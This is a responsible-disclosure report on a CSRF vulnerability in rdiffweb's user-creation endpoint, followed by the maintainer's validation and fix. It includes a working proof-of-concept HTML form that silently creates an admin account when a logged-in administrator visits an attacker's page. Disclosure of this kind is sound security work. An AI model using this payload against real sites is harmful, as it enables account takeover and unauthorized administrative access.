Cross-Site Request Forgery (CSRF) in ikus060/rdiffweb


Reported on

Sep 11th 2021

✍️ Description

Hello dear Rdiffweb team.

I found a CSRF vulnerability on following endpoint that attackers able to Create users with PoC.html

🕵️‍♂️ Proof of Concept

  1. User with right privileges should be logged in Firefox or Safari.

  2. Users go to a website that contain PoC.html

3.after visiting attacker's website a admin user with username aaaa will be created. // PoC.html

  <script>history.pushState('', '', '/')</script>
    <form action="" method="POST">
      <input type="hidden" name="action" value="add" />
      <input type="hidden" name="username" value="aaaa" />
      <input type="hidden" name="email" value="ad&#64;mm&#46;com" />
      <input type="hidden" name="password" value="admin123" />
      <input type="hidden" name="user&#95;root" value="aaaa" />
      <input type="hidden" name="role" value="0" />
      <input type="submit" value="Submit request" />

Also attacker can send multiple request with help of Iframes.


I just want to suggest you to set a CSRF token for this form.

2 years ago

Hey amammad, I've opened a PR on the repo asking for a security policy with email.

2 years ago


hey @maintainer can you validate this report too? thanks

Patrik Dufresne validated this vulnerability 2 years ago
am0o0 has been awarded the disclosure bounty
The fix bounty is now up for grabs
Patrik Dufresne marked this as fixed with commit 0eba3b 2 years ago
The fix bounty has been dropped
2 years ago


thanks a lot @maintainer

and sorry if there is some distribution today.

to join this conversation